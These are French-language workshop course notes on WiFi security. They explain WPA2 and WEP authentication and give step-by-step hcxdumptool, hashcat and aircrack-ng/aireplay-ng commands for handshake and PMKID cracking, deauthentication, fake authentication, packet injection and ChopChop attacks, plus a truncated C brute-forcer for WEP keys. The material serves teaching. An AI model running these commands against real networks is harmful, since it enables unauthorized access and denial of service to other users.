arthur.bidet@gmail.com

This document is for educational purpose only.

• Objectifs d’une attaque wifi

• Types d’attaques wifi

• Fonctionnement du wifi

• Les attaques d’aujourd’hui

Les Objectifs

L’objectif de toute attaque wifi, c’est le vol de données ou le contrôle. Un attaquant peut aussi bien vouloir intercepter les trames discrètement pour voler des mots de passe ou des informations sensibles, que tenter une escalade de privilège ou un déni de services, là aussi pour voler des données, ou alors pour compromettre le réseau, faire du chantage, faire passer des messages.

Dans cette première partie, nous verrons comment fonctionne le WiFi et les vulnérabilités communes des protocoles utilisés aujourd’hui.

Lors du cours d’aujourd’hui, vous pourrez vous appuyer sur la présentation PDF réalisée dans le cadre de mon Workshop de cybersécurité sur le WiFi proposée aux étudiants de l’UTT en 2024 :

Les types d’attaques

→ Les exploitations de vulnérabilités

→ Rogue Access Point (AP)

→ Les attaques Man-in-the-Middle

→ Brouillage

→ DoS

Fonctionnement du wifi

Les modes de communication et la modulation

Le wifi est une norme (802.11) qui concerne les couches 1 et 2 du modèle OSI, physique et lien. Il a plusieurs modes de communications, infrastructure (AP - clients), et adhoc (clients - clients).

La majorité des standards WIFI utilisent OFDM, une technique de modulation où un signal est divisé en plusieurs sous-porteuses orthogonales, permettant ainsi d'augmenter l'efficacité spectrale et la résistance aux interférences.
En bande de fréquence 2,4GHz, on retrouve généralement 13 canaux en Europe, certains se chevauchent partiellement. On utilise généralement les canaux 1, 6 et 11 qui ne se chevauchent pas.
Les canaux représentent des bandes de fréquences sur lesquelles les APs (Access Points) vont communiquer à leurs clients. Plus un canal est grand, plus il va pouvoir accueillir de sous porteuses orthogonales, ce qui va augmenter la quantité d’information transmise. En général, un canal WiFi peut utiliser des largeurs de canal de 20 MHz.

En WIFI, la méthode d'accès est CSMA/CA, il peut donc y avoir plusieurs clients sur le même canal. De même, il peut aussi y avoir plusieurs AP sur le même canal.

Comment est identifié un point d’accès ?

>BSS : Basic Service Set is a group of wireless devices, that work with the same AP.

>BSSID : AP’s physical MAC address

>SSID : Service Set Identifier, name of the AP

>ESS : Extended Service set , one Service Set can be extended by adding more APs

>ESSID : shared network name

>Channel : 1 à 14, souvent 1, 6 ou 11

1.1) Wi-Fi Protected Access 2

Fonctionnement (PSK)

WPA2 est la version de la norme 802.11i certifiée par la Wi-Fi Alliance. Elle impose de prendre en charge le protocole CCMP, qui s’appuie sur AES, et qui est considéré comme totalement sécurisé.

Cependant, en sniffant un réseau et en capturant une séquence d’authentification entre un client et un AP, on peut obtenir des informations compromettantes.

L’authentification en WPA2 utilise le protocole EAPOL, une extension de EAP définie par IEEE 802. EAP est un protocole de communication réseau, il est constitué d’un échange de trames dans un format spécifique à EAP pour réaliser l’authentification d’un partenaire.

L’authentification est basée sur un 4-way handshake. Cet échange permet de vérifier l’identité du client et de l’AP. Il permet aussi à chacun de négocier les clés de chiffrement pour la sécurisation des communications, ainsi que d’assurer l’intégrité et la confidentialité.

Cet échange utilise plusieurs clés :
- PSK = mot de passe
- PMK = PBKDF2(HMAC-SHA1, PSK, SSID, SSID length, 4096, 256 bits)
- PTK = PRF-512(PMK, "Pairwise key expansion", Min(AA, SPA) || Max(AA, SPA)||Min(ANonce, SNonce) || Max(ANonce, SNonce))
- GTK = dépend de l’AP
- MIC = HMAC-SHA1(PTK, Data)

Les 4 étapes du handshake se composent ainsi :

Etape 1 :
Le point d'accès envoie un ANonce au client.
Etape 2 :
Le client calcule la PTK en utilisant la PMK, l'ANonce, et génère un SNonce.
Il envoie le SNonce ainsi que le MIC à l’AP.
Etape 3 :
Le point d'accès calcule la PTK en utilisant la PMK, le SNonce reçu, et l'ANonce.
Le point d'accès envoie au client un message de confirmation.
Etape 4 :
Le client envoie une confirmation finale au point d'accès.

On peut voir directement des failles dans le protocole d’authentification. Si un attaquant capture certains paquets, comme les deux premiers par exemple, il peut déjà avoir assez d’informations pour retrouver le mot de passe PSK :
- L'attaquant utilise un outil pour écouter le trafic et capture les quatre messages du handshake.
- Il utilise ensuite un outil pour tester des combinaisons de mots de passe (hashcat, aircrack-ng, JtR, …) et procède comme ceci :

Il existe cependant des limites. Un benchmark fait avec un GPU RTX 3090 nous donne ces résultats :

Hashmode: 22000 - WPA-PBKDF2-PMKID+EAPOL (Iterations: 4095)
→ Speed.#1: 1129.0 kH/s (74.07ms) @ Accel:8 Loops:512 Thr:1024 Vec:1

Si le mot de passe est dans rockyou.txt (14M Hashes) : 12.7s

Si le mot de passe est une suite de 8 caractères [a-z0-9] : 2498769 s

Les mots de passe de box internet sont souvent plus longs et plus complexes, par exemple, les mots de passe SFR font 20 charactères, ce qui prendrait au maximum plus de 3.75E+17 années à craquer avec une carte graphique RTX 3090.

Cependant, avec des mots de passe modifiés ou ceux de partages de connexion notamment, cela peut être fait aisément.

WPA-2 EAPOL Attack Application

• Trouver le SSID du réseau à attaquer

  Windows : netsh wlan show networks mode=bssid

  Linux :sudo iwlist wlan0 scanning | egrep 'Cell |Encryption|Quality|Last beacon|ESSID'

• éteindre les services qui utilisent la carte réseau (as root)

  systemctl stop NetworkManager.service
  systemctl stop wpa_supplicant.service

• Lancer la capture

  • Paramètres

    écoute passive → sudo hcxdumptool -w capture2.pcap -i wlxc01c303621e1 --disable_beacon --disable_deauthentication --disable_proberequest --disable_association --disable_reassociation -p

    Filtrage BSSID :
    echo "AABBCCDDEEFF" > bssid_filter.txt
hcxdumptool -i <interface> -o <fichier_capture.pcapng> --filterlist=<fichier_bssid> --filtermode=2

    Interactions limitées :
    En mode actif, l’outil peut envoyer des paquets d’interaction avec le réseau dans le but de stimuler les réponses et l’activité. L’objectif n’est ici pas de provoquer un déni de services mais d’inciter les clients à répondre.
    hcxdumptool -i <interface> -o <fichier_capture.pcapng> --active_beacon --enable_status=1

    Mode actif (environnement contrôlé) :
    Ce mode active les attaques contre clients et AP.
    hcxdumptool -i <interface> -o <fichier_capture.pcapng> --disable_client_attacks=0 --disable_ap_attacks=0 --enable_status=1

    Interactions avec l’AP uniquement :
    Ce mode envoie des requêtes à l’AP pour récupérer le PMKID.
    hcxdumptool -i <interface> -o capture_pmkid.pcapng --enable_status=1 --disable_deauthentication

    
    

    
    

  Attention : éviter de capturer des packets de réseau qui ne nous appartiennent pas. Si il y a d’autres réseaux autour, préférez une attaque passive pour éviter tout trouble aux autres usagers, de plus, il est important de filtrer les cibles de l’outil.
  Filtres ;

  hcxdumptool -i <interface> -w capture.pcapng --enable_status=1 --filterlist=filterlist.txt --filtermode=2
  → filtermode 2 to target only devices listed in file, bssid line by line

  → filtermode 1 exclude devices listed in file, bssid line by line

  Attaque sans filtre :hcxdumptool -i INTERFACE_NAME -w dumpfile.pcapng --rds=1 -F

  

  Commandes à faire :

  echo "AABBCCDDEEFF" > bssid_filter.txt
  sudo hcxdumptool -w capture.pcap -i wlan0 --filterlist=bssid_filter.txt --filtermode=2 --disable_beacon --disable_deauthentication --disable_proberequest --disable_association --disable_reassociation -p

• Redémarrer les services

  $ sudo systemctl start wpa_supplicant.service
  $ sudo systemctl start NetworkManager.service

• Convertir la capture pour hashcat

  hcxpcapngtool -o hash.hc22000 dumpfile.pcapng

• Filtrer les résultats

  → filtrer dès le début avec hcxdumptool -i wlan1mon -enable_status=1 --filterlist_ap=targetBSSID

  PMKID : grep 'WPA\*01' hash.hc22000 > pmkid.hc22000

  EAPOL : grep 'WPA\*02' hash.hc22000 > eapol.hc22000

  MAC ADDRESS : grep '\*aabbcc112233\*' hash.hc22000 > mac.hc22000

• Cracker le mot de passe

  Attention : l’attaque ne doit pas avoir lieu sans autorisation

  wpa-sec.stanev.org

  https://wpa-sec.stanev.org/dict/cracked.txt.gz

  • Wordlist : hashcat -m 22000 hash.hc22000 wordlist.txt

    Pour les wordlists, on peut utiliser rockyou.txt. Mais il existe aussi d’autres listes, plus longues et plus efficaces, comme sur ce github :

    https://github.com/vladimircicovic/wifi_pass

    Sur linux, il suffit de suivre les instructions. Si vous souhaitez utiliser hashcat sur windows pour plus facilement utiliser les performances de votre GPU, vous devrez procéder à ces étapes:

    • installer 7zip et l’ajouter au PATH

    • créer un script Powershell (.ps1)

    • lancer le script → `& "chemin\script.ps1"

      Get-ChildItem -Path . -Filter 'xa*.7z' | ForEach-Object { # extract all xa*.7z files
          & 'C:\Program Files\7-Zip\7z.exe' e $_.FullName
      } 
      $filesToConcat = @() # liste de fichiers de xa{a..s}
      for ($i = 97; $i -le 115; $i++) {  # 97='a', 115='s'
          $char = [char]$i
          $filesToConcat += "xa$char"
      } 
      foreach ($file in $filesToConcat) { # écrire chaque fichier un par un
          if (Test-Path $file) {
              $content = Get-Content $file -Raw  # lire en bloc
              $content | Out-File wifi_pass.txt -Append -Encoding utf8  # ajouter le contenu
              Write-Host "$file ajouté à wifi_pass.txt."
          } else {
              Write-Host "$file non trouvé, saut de ce fichier."
          }
      } 
      foreach ($file in $filesToConcat) { # Supprimer les fichiers
          if (Test-Path $file) {
              Remove-Item $file
              Write-Host "$file supprimé."
          }
          else {
              Write-Host "$file non trouvé, rien à supprimer."
          }
      } 
      Write-Host "Extraction et écriture terminées."
      

  • Brute Force

    8 digits: hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

    8 digits or lower case : hashcat -m 22000 hash.hc22000 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1

    toto + 2 (digits or lowercase) + 2 (digits or upper case) : hashcat -m 22000 hash.hc22000 -a 3 -1 ?l?d -2 ?u?d toto?1?1?2?2

    mask_attack [hashcat wiki]

    Try all combinations from a given keyspace just like in Brute-Force attack, but more specific.

    https://hashcat.net/wiki/doku.php?id=mask_attack

  • Rules

    hashcat -m 22000 hash.hc22000 -r rules/best64.rule cracked.txt.gz

    hybrid_atttack_with_rules [hashcat wiki]

    All you need to do is to generate a so called brute-force rule. This is just all possible rules required to generate all possible combinations. This can be done with maskprocessor.

    https://hashcat.net/wiki/doku.php?id=hybrid_atttack_with_rules

PMKID ATTACK

Méthode : https://www.hackers-arise.com/post/wi-fi-hacking-part-11-the-pmkid-attack

Fonctionnement :

Génération des PMKs Possibles :
    Brute Force : Si l'attaque est de type brute force, le logiciel génère systématiquement toutes les combinaisons possibles de caractères selon la longueur et le type spécifiés (lettres, chiffres, symboles).
    Dictionary Attack : Pour une attaque par dictionnaire, le logiciel utilise une liste de mots de passe potentiels (le "dictionnaire") qui peuvent inclure des mots de passe courants, des variations, et des combinaisons fréquentes.

Calcul de PMK pour chaque essai :
    Pour chaque mot de passe généré ou extrait du dictionnaire, le logiciel calcule la Pairwise Master Key (PMK) en utilisant la fonction de hachage PBKDF2, qui prend comme entrée le SSID du réseau et le mot de passe candidat.

Calcul du PMKID :
    Une fois la PMK calculée, le logiciel calcule un PMKID pour ce candidat en utilisant une fonction de hachage HMAC-SHA1 (ou équivalent) qui prend en entrée la PMK, l'adresse MAC du point d'accès (BSSID) et celle du client.

Comparaison avec le PMKID capturé :
    Le PMKID calculé est ensuite comparé au PMKID capturé lors de la phase d'écoute. Si les deux correspondent, cela signifie que le mot de passe testé est le bon mot de passe du réseau Wi-Fi.

Attacker le PMKID, son fonctionnement : https://hashcat.net/forum/thread-7717-post-41435.html

Fonctionnement (Entreprise)

WPA2 Enterprise est une version du protocole WPA2 qui utilise le standard IEEE 802.1X pour l'authentification des utilisateurs sur les réseaux sans fil. Il utilise un serveur d'authentification externe, généralement un serveur RADIUS (Remote Authentication Dial-In User Service), pour gérer les informations d'identification des utilisateurs.

L’architecture de ce système a donc trois noeuds principaux :

• Supplicant : Le client qui souhaite se connecter au réseau.

• Authenticator : Le point d'accès ou le commutateur qui contrôle l'accès au réseau.

• Authentication Server : Le serveur RADIUS qui valide les informations d'identification.

Processus de l’authentification :

1. Association Initiale :

   Le client envoie une requête d'association au point d'accès.

2. Établissement du Tunnel TLS :

   Le client et le serveur RADIUS établissent un tunnel sécurisé en utilisant le protocole EAP sur TLS :

   Plusieurs méthodes EAP peuvent être utilisées, comme EAP-TLS, EAP-TTLS, PEAP, etc.

3. Échange des Informations d'Authentification :

   À travers le tunnel sécurisé, le client envoie ses informations d'identification.

4. Authentification Réussie :

   Si les informations sont correctes, le serveur RADIUS envoie un message d'acceptation. Le point d'accès permet alors au client d'accéder au réseau.

5. Génération des Clés de Chiffrement :

   Des clés dynamiques sont générées pour chiffrer les communications entre le client et le point d'accès.

La connexion est considérée comme très sécurisée, il est très compliqué de la contourner, même si cela reste possible en cas de mauvais configuration.

Voici les méthodes EAP les plus couramment utilisées :

EAP-TLS : Elle utilise des certificats l'authentification mutuelle. Elle est considérée comme très sécurisée mais nécessite une infrastructure à clé publique (PKI) pour gérer les certificats.

PEAP (Protected EAP) : Consiste à établir un tunnel TLS sécurisé et utilise ensuite une méthode d'authentification comme EAP-MSCHAPv2. Elle permet l'utilisation de mots de passe plutôt que de certificats pour les utilisateurs.

EAP-TTLS (Tunneled TLS) :Cette méthode est similaire à PEAP, mais offre plus de flexibilité dans les méthodes d'authentification internes.

1.2) Wired Equivalent Privacy

I) Fonctionnement

https://github.com/g0rbe/CEH/blob/master/16_Hacking_Wireless_Networks.md
https://www.aircrack-ng.org/doku.php?id=aircrack-ng

Le protocole WEP est un protocole qui a été largement utilisé entre 2000 et 2015. Il arrive encore de trouver ce système sur des box anciennes et des réseaux non mis à jour.

Ce protocole, qui tient son nom du fait qu’il devait fournir une confidentialité comparable à celui d’un réseau filaire, est aujourd’hui connu pour ses grandes faiblesses et son obsolescence.

Le WEP fait parti de la norme IEEE 802.11 et utilise l’algorithme de chiffrement par flot RC4 pour assurer la confidentialité, ainsi que la somme de contrôle CRC-32 pour l’intégrité.

RC4 fonctionne de la façon suivante : la clef RC4 permet d’initialiser
un tableau de 256 octets en répétant la clef autant de fois que
nécessaire pour remplir le tableau.
Par la suite, des opérations très simples sont effectuées dans le
but est de mélanger autant que possible le tableau. Finalement on
obtient une suite de bits pseudo-aléatoires qui peuvent être utilisés
pour chiffrer les données via un XOR.

Chiffrement & Déchiffrement

Le chiffrement se décompose en plusieurs phases :
• La création de la graine (IV+clé)
• La création du keystream
• Le calcul ICV
• La constitution du message final et son encapsulation dans une trame

A) Le vecteur d’initialisation

B) RC4

C) Initialisation de la clé

D) Le contrôle d’intégrité

E) Construction du message final

Récapitulatif

Distribution des clés

Le problème de la distribution des clés est un aspect majeur du protocole WEP. La clé WEP est partagé entre l’AP et tous ses clients et est statique.

Certains AP permettent la génération d’une passphrase qui initialise un générateur dur 32 bits. Cependant, ces générateurs sont biaisés vu que la passphrase est crée avec seulement des charactères ASCII (bit de poids fort nul). Ainsi l’espace décrivant la graine va de 00:00:00:00 à 7F:7F:7F:7F.

L’utilisation d’une clé sur 104 bits est donc vivement conseillée. Sa génération repose aussi sur une passphrase, mais cette fois c’est la fonction md5 qui sera utilisée. Alors, seuls les 104 premiers bits.

L’authentification OSA

Open System Authentification est utilisée par défaut et se déroule en deux étapes. Un des parties envoie une trame de gestion en précisant l’algorithme souhaité (0=ouvert). Si WEP est utilisé, le corps de la trame est chiffré, il faut alors que la clé utilisée par l’AP et le client soit la même.

L’authentification SKA

Shared Key Authentication nécessite le partage d’une clé de chiffrement par les 2 entités. L’objectif est de vérifier que le pair possède bien la même clé. Le challenge permettant de vérifier la possession de la clé est une preuve à divulgation nulle de connaissance (ZKIP).

II) Les attaques (WEP)

• Commandes

   ## Fake Authentication Attack
     
     airmon-ng start <interface> <AP_Channel>                                         ## setting the wireless card (wlan0) to monitor mode
     macchanger --show <interface>                                                    ## learning the MAC address of the mon0 (monitor mode) network interface
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>       ## listening to the target AP on the specified channel
     aireplay-ng -1 0 -e <ESSID> -a <AP_MAC> -h <Your_MAC> <interface>                ## performing a fake authentication attack against AP
     
     
  ## Deauthentication Attack
  
     airmon-ng start <interface> <AP_Channel>                                         ## setting the wireless card (wlan0) to monitor mode
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>       ## listening to the target AP on the specified channel
     aireplay-ng -0 1 -a <AP_MAC> -c <Client_MAC> <interface>                         ## performing a deauthentication attack against AP
  
  
  ## ARP Request Replay Attack
  
     airmon-ng start <interface> <AP_Channel>                                         ## setting the wireless card (wlan0) to monitor mode
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>       ## listening to the target AP on the specified channel
     aireplay-ng -1 0 -e <ESSID> -a <AP_MAC> -h <Your_MAC> <interface>                ## performing a fake authentication attack against AP
     aireplay-ng -3 -b <AP_MAC> -h <Your_MAC> <interface>                             ## performing a ARP Request Replay attack against AP
     aireplay-ng -0 1 -a <AP_MAC> -c <Client_MAC> <interface>                         ## performing a deauthentication attack against AP
     aircrack-ng <capture_file>                                                       ## cracking WEP key (In order to achieve a successful result, you need to catch a sufficient number of IVs during the attack.)
   
  
  ## Interactive Packet Replay Attack
  
     airmon-ng start <interface> <AP_Channel>                                         ## setting the wireless card (wlan0) to monitor mode
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>       ## listening to the target AP on the specified channel
     aireplay-ng -1 0 -e <ESSID> -a <AP_MAC> -h <Your_MAC> <interface>                ## performing a fake authentication attack against AP
     aireplay-ng -2 -b <AP_MAC> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 <interface>     ## performing a interactive packet replay attack against AP
     aircrack-ng -z <capture_file>                                                    ## cracking WEP key (In order to achieve a successful result, you need to catch a sufficient number of IVs during the attack.)
  
  
  ## Fragmentation Attack
  
     airmon-ng start <interface> <AP_Channel>                                         ## setting the wireless card (wlan0) to monitor mode
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>       ## listening to the target AP on the specified channel
     aireplay-ng -1 0 -e <ESSID> -a <AP_MAC> -h <Your MAC> <interface>                ## performing a fake authentication attack against AP
     aireplay-ng -5 -b <AP_MAC> -h <Your MAC> <interface>                             ## performing a fragmentation attack against AP
     packetforge-ng -0 -a <AP_MAC> -h <Your_MAC> -l <Source_IP> -k <Dest_IP> -y <XOR_file> -w <output_file>     ## creating an ARP request packet using packetforge-ng
     tcpdump -n -vvv -e -s0 -r <output_file>                                          ## check the contents of the created package
     aireplay-ng -2 -r <output_file> <interface>                                      ## injecting the generated packet into the network (If the correct pack is injected, the IV amount will increase rapidly.)
     aircrack-ng <capture_file>                                                       ## cracking WEP key (In order to achieve a successful result, you need to catch a sufficient number of IVs during the attack.)
     
  
  ## Korek ChopChop Attack
  
     airmon-ng start <interface> <AP_Channel>                                         ## setting the wireless card (wlan0) to monitor mode
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>       ## listening to the target AP on the specified channel
     aireplay-ng -1 0 -e <ESSID> -a <AP_MAC> -h <Your_MAC> <interface>                ## performing a fake authentication attack against AP
     aireplay-ng -4 -b <AP_MAC> -h <Your_MAC> <interface>                             ## performing a korek chopchop attack against AP
     packetforge-ng -0 -a <AP_MAC> -h <Your_MAC> -l <Source_IP> -k <Dest_IP> -y <XOR_file> -w <output_file>     ## creating an ARP request packet using packetforge-ng
     tcpdump -n -vvv -e -s0 -r <output_file>                                          ## check the contents of the created package
     aireplay-ng -2 -r <output_file> <interface>                                      ## injecting the generated packet into the network (If the correct pack is injected, the IV amount will increase rapidly.)
     aircrack-ng <capture_file>                                                       ## cracking WEP key (In order to achieve a successful result, you need to catch a sufficient number of IVs during the attack.)
  
  
  ## Bypassing WEP Shared Key Authentication
     
     airmon-ng start <interface> <AP_Channel>                                                  ## setting the wireless card (wlan0) to monitor mode
     airodump-ng -c <AP_Channel> --bssid <AP_MAC> -w <capture_file> <interface>                ## listening to the target AP on the specified channel
     aireplay-ng -0 1 -a <AP_MAC> -c <Client_MAC> <interface>                                  ## performing a deauthentication attack against AP to capture the PRGA XOR keystream
     aireplay-ng -1 0 -e <ESSID> -y <keystream file> -a <AP_MAC> -h <Your_MAC> <interface>     ## performing a fake shared key authentication using XOR key flow
     aireplay-ng -3 -b <AP_MAC> -h <Your_MAC> <interface>                                      ## performing a ARP Request Replay attack against AP
     aireplay-ng -0 1 -a <AP_MAC> -c <Client_MAC> <interface>                                  ## performing a deauthentication attack against AP
     aircrack-ng <capture_file>     

A) Attaque FMS/Korek (IVs)

• Préparation : Capture des paquets

  • Trouver le BSSID du réseau à attaquer

    Windows : netsh wlan show networks mode=bssid

    Linux :sudo iwlist wlan0 scanning | egrep 'Cell |Encryption|Quality|Last beacon|ESSID'

  • Lancer la capture

    airodump-ng -c <canal> --bssid <BSSID> -w <output_file> <interface>

• Injection de paquets (Attaque d'injection ARP)

  Cette attaque consiste à injecter des paquets de requêtes ARP pour stimuler le WLAN et accélérer la récupération d’IVs.

  aireplay-ng -3 -b <BSSID> -h <MAC_adaptateur> <interface>

  -3 : Active l’injection ARP

• Attaque FMS/KoreK (Craquage WEP)

  Une fois qu’un assez grand nombre de paquets sont capturés, on peut procéder au craquage de la clé WEP. Il faut environ 20000 à 30000 IVs. Aircrack-ng utilise l'attaque FMS/KoreK automatiquement pour déduire la clé WEP en analysant les IVs collectés.

  aircrack-ng <output_file>.cap

• Fonctionnement

B) Attaque par fausse authentification

• Fonctionnement

  L’attaque par fausse authentification permet de s’authentifier auprès de l’AP. Elle ne nécessite pas de connaître la clé WEP. Elle est réalisable aussi bien en mode OSA qu’en SKA

  OSA

  L’authentification est très simple, il suffit de faire une authentification classique :

  • Un client envoie une trame à un point d'accès (AP), demandant à s'authentifier via l'authentification Open System.

  • Le point d'accès répond généralement avec un message de succès, sans vérifier la clé secrète WEP.

  La clé secrète WEP n’est pas utilisée dans l’authentification donc l’AP ne pourra pas discerner un client légitime d’un client malicieux.

  SKA

  L’authentification avec SKA est un petit peu plus compliquée. Elle nécessite qu’il y ait un client de connecté, nous allons voir pourquoi.

  Lors de l’authentification, l’AP nous donne un challenge auquel on doit répondre en chiffrant les données avec le keystream, dérivé le la clé WEP. Pour ce faire, on fait un xor entre le challenge et le keystream.

  Bien que le processus semble sécurisé, il présente une faille, qui consiste à :

  • Récupérer une séquence challenge/réponse de l’authentification d’un client légitime;

  • Faire un xor entre le message en clair et le message chiffré → on récupère un keystream pour un IV spécifique

  • Initialiser une connexion, ignorer l’IV et faire un xor sur le nouveau challenge avec le keystream récupéré.

  Objectifs

  Le principal objectif de l’authentification est d’ensuite pouvoir générer du trafic réseau dans le but de récupérer des paquets pour utiliser une attaque sur les IVs. On utilisera notamment des requêtes ARP.

• Infos Aircrack-ng

  L’attaque Fake Auth de aircrack-ng permet réaliser l’exploitation sur les deux types d’authentification, et de s’associer. L’attaque ne génère aucun paquet ARP. Cette fausse authentification ne peut pas être réalisée sur sur des AP WPA/WPA2.

• Configuration de l'Adaptateur Wi-Fi en Mode Moniteur

  sudo airmon-ng start <interface>

  sudo airmon-ng

• Scan des réseaux cibles

  sudo airodump-ng <interface_moniteur>

  → Noter le BSSID et le Canal

• Attaque de Fausse Authentification sur OSA

  sudo aireplay-ng -1 0 -a <BSSID> -h <MAC_attacker> <interface_moniteur>

  -1 → Attaque de fausse authentification.
  0 → délai entre les tentatives (ajuster pour éviter la détection)

• Attaque de Fausse Authentification sur SKA

  sudo aireplay-ng -1 0 -a <BSSID> -h <MAC_attacker> <interface_moniteur>

  Capture Handshake → Analyse Keystream → Création réponse au challenge

• Capture des IVs

  sudo airodump-ng -c <channel> --bssid <BSSID> -w capture.cap wlan0mon

• Injection de Paquets

  On lance une attaque de type interactive (-3) pour réinjecter les paquets ARP.

  sudo aireplay-ng -3 -b <BSSID> -h <MAC_attacker> <interface>

• Cracker la clé WEP

  sudo aircrack-ng capture-01.cap

• Remettre l’adaptateur en mode managé, redémarrer les services

  sudo airmon-ng stop <interface_moniteur>

  sudo systemctl restart NetworkManager

C) Attaque Chop-Chop

• Fonctionnement

  L’attaque Chop-Chop sur le protocole WEP est une méthode qui permet de déchiffrer un paquet chiffré sans connaître la clé WEP. Elle utilise les réponses de l’AP lors de l’envoi d’un paquet modifié pour faire des déductions sur le keystream. Pour ce faire, il faut modifier successivement chaque octet du paquet chiffré avant de le réinjecter pour voir la réaction de l’AP.

  Comme WEP utilise un CRC32 (fonction linéaire), on peut calculer le paquet tronqué sans connaître la clé WEP. On peut donc tenter de calculer l’ICV du paquet modifié.

  Si le paquet est accepté, cela signifie que l’ICV est correct, et alors la modification a été réussie pour cet octet.
  Si le paquet est rejeté, alors on réincrémenté l’octet et on réessaye.

• Configurer l’adaptateur

  sudo airmon-ng start <interface> → mode monitoring

  sudo airmon-ng → vérifier le mode

• Scan des réseaux

  sudo airodump-ng <interface_moniteur>

  sudo iwlist wlan0 scanning | egrep 'Cell |Channel|Encryption|Quality|Last beacon|ESSID'

  A noter :
  - BSSID : Adresse MAC du point d'accès cible;
  - CH : Canal sur lequel le réseau opère;
  - Encryption : Vérifiez qu'il s'agit d'un réseau WEP.

• Lancer la capture

  sudo airodump-ng -c <CH> --bssid <BSSID> -w capture.cap <interface>

• S’authentifier

  Cette étape est requise pour communiquer sur le WLAN

  sudo aireplay-ng -1 0 -a <BSSID> -h <MAC_attacker> <interface>

  -1 → attaque par fausse authentification

• Lancer l’attaque

  sudo aireplay-ng -4 -b <BSSID> -h <MAC_attacker> <interface>

  -4 → attaque Chop-Chop

• Pour aller plus loin …

  https://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_clients

D) SKA challenge/response

• Fonctionnement

  Lorsqu’on capture une authentification SKA, on peut repérer l’envoi du challenge et de sa réponse. Comme évoqué précédemment, c’est une authentification à divulgation nulle de connaissance. Cependant, on dispose alors du challenge en clair et de sa version chiffré. Le chiffrement a lieu avec la clé WEP concaténée à l’IV qui est transmis en clair.

  Pour résumer voici comment est chiffré le message :

  Y = RC4(IV || K) xor (X||crc(X))

  Connaissant le message X, on peut calculer (X||crc(X)).
  Connaissant le message chiffré Y, on peut calculer le Keystream de cette manière : RC4(IV || K) = Y xor (X||crc(X))

  La seule inconnue qu’il nous reste est donc K, la clé WEP. Malheureusement pour nous, RC4 ne nous permet pas de la retrouver directement, il faut donc implémenter une fonction par force brute pour tenter de retrouver K.

• Exploitation (Aircrack-ng)

  aircrack-ng -a 1 -n 128 -b 00:11:22:33:44:55 capture.cap

  -a 1 : WEP

  -n : Taille de la clé (64 → 40,128 → 104,152,256)

  -w : wordlist (5 char pour 64, 13 pour 128, …)

  -k N: spécifier des champs connus (-k 1:AA -k 2:BB)

• Exploitation (programme C)

  Ce programme est fait pour bruteforce les mots de passe de 40 bits (il est relativement rapide.

  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <ctype.h>
  
  // Fonctions RC4
  void ksa(unsigned char state[], unsigned char key[], int len)
  {
      int i, j = 0, t;
      for (i = 0; i < 256; ++i)
          state[i] = i;
      for (i = 0; i < 256; ++i)
      {
          j = (j + state[i] + key[i % len]) % 256;
          t = state[i];
          state[i] = state[j];
          state[j] = t;
      }
  }
  
  void prga(unsigned char state[], unsigned char out[], int len)
  {
      int i = 0, j = 0, x, t;
      for (x = 0; x < len; ++x)
      {
          i = (i + 1) % 256;
          j = (j + state[i]) % 256;
          t = state[i];
          state[i] = state[j];
          state[j] = t;
          out[x] = state[(state[i] + state[j]) % 256];
      }
  }
  
  // Vérifie si un caractère est alphanumérique
  int checkChar(char c)
  {
      return isalnum((unsigned char)c);
  }
  
  // Convertit une chaîne hexadécimale en tableau d'octets
  int hexstr_to_bytes(const char *hexstr, unsigned char **bytes)
  {
      size_t len = strlen(hexstr);
      if (len % 2 != 0)
      {
          fprintf(stderr, "Erreur : La chaîne hexadécimale doit avoir une longueur paire.\n");
          return -1;
      }
  
      size_t final_len = len / 2;
      *bytes = malloc(final_len);
      if (*bytes == NULL)
      {
          perror("malloc");
          return -1;
      }
  
      for (size_t i = 0; i < final_len; i++)
      {
          sscanf(hexstr + 2 * i, "%2hhx", &((*bytes)[i]));
      }
  
      return final_len;
  }
  
  int main(int argc, char *argv[])
  {
      unsigned char *challenge = NULL;
      unsigned char *response = NULL;
      unsigned char iv[3];
      int challenge_len, response_len;
      int info, i;
      unsigned char currentPwd[8];
  
      // Vérification des arguments
      if (argc == 4)
      {
          // Lecture du challenge
          challenge_len = hexstr_to_bytes(argv[1], &challenge);
          if (challenge_len <= 0)
          {
              fprintf(stderr, "Erreur lors de la lecture du challenge.\n");
              return EXIT_FAILURE;
          }
  
          // Lecture de la réponse
          response_len = hexstr_to_bytes(argv[2], &response);
          if (response_len != 136 ||  challenge_len != 128)
          {
              fprintf(stderr, "Erreur : Le challenge et la réponse doivent avoir la même longueur.\n");
              free(challenge);
              return EXIT_FAILURE;
          }
  
          // Lecture de l'IV
          unsigned char *iv_input = NULL;
          int iv_len = hexstr_to_bytes(argv[3], &iv_input);
          if (iv_len != 3)
          {
              fprintf(stderr, "Erreur : L'IV doit être de 3 octets.\n");
              free(challenge);
              free(response);
              free(iv_input);
              return EXIT_FAILURE;
          }
          memcpy(iv, iv_input, 3);
          free(iv_input);
      }
      else
      {
          fprintf(stderr, "Utilisation : %s <challenge_hex> <response_hex> <iv_hex>\n", argv[0]);
          fprintf(stderr, "Exemple : %s e9ade5d836517a60... e18013307923893a... 526182\n", argv[0]);
          return EXIT_FAILURE;
      }
  
      // Calcul du keystream cible
      int keystream_len = challenge_len;
      unsigned char *targetKeyStream = malloc(keystream_len);
      if (targetKeyStream == NULL)
      {
          perror("malloc");
          free(challenge);
          free(response);
          return EXIT_FAILURE;
      }
  
      for (i = 0; i < keystream_len; i++)
          targetKeyStream[i] = challenge[i] ^ response[i];
  
      // Initialisation du mot de passe courant
      currentPwd[0] = iv[0];
      currentPwd[1] = iv[1];
      currentPwd[2] = iv[2];
  
      // Boucle sur les 5 caractères de la clé WEP (ASCII alphanumérique)
      info = 0;
